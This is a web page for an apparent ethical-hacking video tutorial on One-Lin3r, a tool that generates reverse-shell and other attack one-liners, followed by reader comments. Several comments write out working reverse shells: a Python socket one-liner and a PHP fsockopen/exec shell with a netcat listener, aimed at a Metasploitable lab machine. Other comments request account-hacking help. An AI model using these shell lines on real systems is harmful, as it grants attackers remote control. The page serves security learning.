Use One-Lin3r to Quickly Generate Reverse Shells, Run Commands & More [Tutorial]

June 16, 2020 by 43 Comments

Get Our Premium Ethical Hacking Bundle (90% Off):

How to Automate the Generation of Common One-Liners
Full Tutorial:
Subscribe to Null Byte:
Nick’s Twitter:

Cyber Weapons Lab, Episode 167

One-liners are the result of taking multiple lines of code and combining and condensing them into a single executable line that a computer will use as instructions. They can be used for mundane tasks or they can be used by pen-testers, white-hat hackers, cybersecurity specialists, and the like to perform automated hacks, commands, and more. One-Lin3r is a Python tool that acts like a repository for commonly used one-liners, and it currently has almost 200 available to use. We’ll dig into this tool on this episode of Cyber Weapons Lab using the written Null Byte guide by drd_.

To learn more, check out the article:

Follow Null Byte on:
Weekly newsletter:


43 Replies to “Use One-Lin3r to Quickly Generate Reverse Shells, Run Commands & More [Tutorial]”

  1. GG Tube says:

    we should be youtube buddies mKIt

  2. Ryan Fleming says:

    Who came here cuz they thought this would generate One-liners (with ease)
    "You so fine, I'd I'd like to null bytes that ass" 👆

  3. Killk4809 says:

    He be looking like a Walmart off brand version of Michael Reeves

  4. Good job Nick! Love your content. Keep up the great work.

  5. boris mide says:

    I have a problem for the master

    To explain the situation better:

    The goal: is to get the lost password.

    Explanation of the problem: I logged out of one gmail account, but it logged me out of all my gmails accounts.

    I need to log in to an account whose password I don't know (forgot), but it's not connected to my cell phone number or gmail.

    It was never remembered by the browser (settings->passwords didnt work)
    Advantage: I have physical access to a computer, and a web browser.

    If I was logged in for months without google asking me for a password, it must be somewhere,
    some key that allowed me to log in without entering a password every time.

  6. Kyle B. says:

    I tried one liners but all I could get to work were bad puns!

  7. Cneq says:

    saw title and thought they created a script that analyzes a conversation and generates a fitting badass one liner :/

  8. Kavinda D.N says:

    Whatsapp spam How to strike back?
    help me

  9. Great but where the other dude?

  10. xr0o0t x says:

    I hope that you will put an Arabic translation because I am a follower and supporter of the channel from the Middle East ❤

  11. Lincento53 says:

    I was hoping for one liner jokes

  12. c0ri says:

    カウボイビバップ 👍

  13. David G says:

    Metasploitable is a delibearely exploitable application, Metasploit is a framework for payloads and exploits.

  14. Amonrah 178 says:

    Thank you for this great video nick!

  15. Govert Krook says:


  16. mEy Laul says:

    So you are showing all the possibilities for surveillance etc. but do you have a video on countersurveillance?

  17. aeipee13 says:

    Cowboy Beebop forever!

  18. Excellent as always. Kudos for a great channel and for bringing in fresh blood.

  19. Hi, are you okay? did you eat the fiery marshmallows? sorry 😮

  20. Om Dwivedi says:

    Bro, please show how to penetrate through android mobile application with or without their source code……………….please

  21. Please make a video on the How to install "l3mon" in Kali Linux…and practically….

  22. All_Clear says:

    But how about python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

  23. Zika says:

    If I am hacker should I use vm or dual boot ?

  24. Ivan Antol says:

    Wanted ask a quick question out of this topic. Can hacker hack a router and affect it with a mining malware ?

  25. MK BMX says:

    I’m having trouble removing kali menu off my laptop it’s giving me an error every time i try to install something from the manager it’s telling to remove kali menu i tried using script but just failed! any help please??

  26. That dude looks like he is 15 years old. I bet he will be crazy good by the time he is 20 and a beast by the time he is 30. I was that into computers at that age but had no resources. I remember playing with Visual Basic 2.0 and the "AOHell" type programs, and getting nowhere. I wish I had the resources young people this day have. I would be much further along than I am now.

  27. Can anyone explain what that command does, and how it automatically escalates privileges?

  28. dr3k GG says:

    Null byte pls I’m asking u to make a tutorial on how to hack social media accounts

  29. sorry but this guy is a terrible speaker

  30. Hey guys i really need help. Ive been dealing with this for 3 months. I haven’t had any luck. Someone has put a digital tracker on my home network. Some kind of digital auto logging tracker. My MacBook crashed my asus laptop crashed and in the last month I bought 2 computers just so i could build a flash drive to save my others. Within a day both of those computers have been breached. I’m on my second one right now and i shut it down quick enough. Ill pay $$$$$$$. This isn’t a joke and i would not be making this message. I’m sorry to spam you guys by putting this on so many videos. I really need help though. Contact my YouTube and ill give a email or phone number. I would be so grateful. I’m just trying to help society out like you guys. Giving knowledge big corporations and others don’t like.

  31. Your artikels stile is broken at least to my mobile

  32. pi-duino says:


  33. Gavin H says:

    How do you guys get everything to work seamlessly. I just get ENDLESS errors

  34. 2A ADDICT says:

    Commands used in this tutorial:

    1. "apt install python3-pip", this command will install pip3.

    2. "pip3 install one-lin3r", this command will install One-lin3r.

    3. "one-lin3r", this command will launch the Python tool.

    4. "help/?", this command will help us understand what each command does by providing a description.

    5. "list", this command will list all of the One-line commands.

    6. "search linux php", this command will let us search for the type of operating system we want to hack.

    7. "set target", this command will set this IP address as the target.

    8. "set port 4321", this command will set this port as the port we're going to use.

    9. "variables", this command will display the targets IP address and the port we just set.

    10. "use linux/php/reverse_tcp", this command will generate a One-line command.

    11. "nc -lvp 4321", this Netcat command will listen for incoming connections on the port listed.

    12. "sudo ssh msfadmin@", this command will let us connect to the Metasploitable virtual machine via SSH.

    13. "php -r '$sock=fsockopen("",4321);exec("/bin/sh -i <&3 >&3 2>&3");'", this One-line command will establish a connection with the Metasploitable virtual machine causing us to gain full control over the system.

    14. After I executed the One-line command, the Netcat shell refused to connect to on port 4321.

  35. When you make a video, you will show the big screen, sir

  36. K2wo says:

    i get php: Segmentation fault

  37. pi-duino says: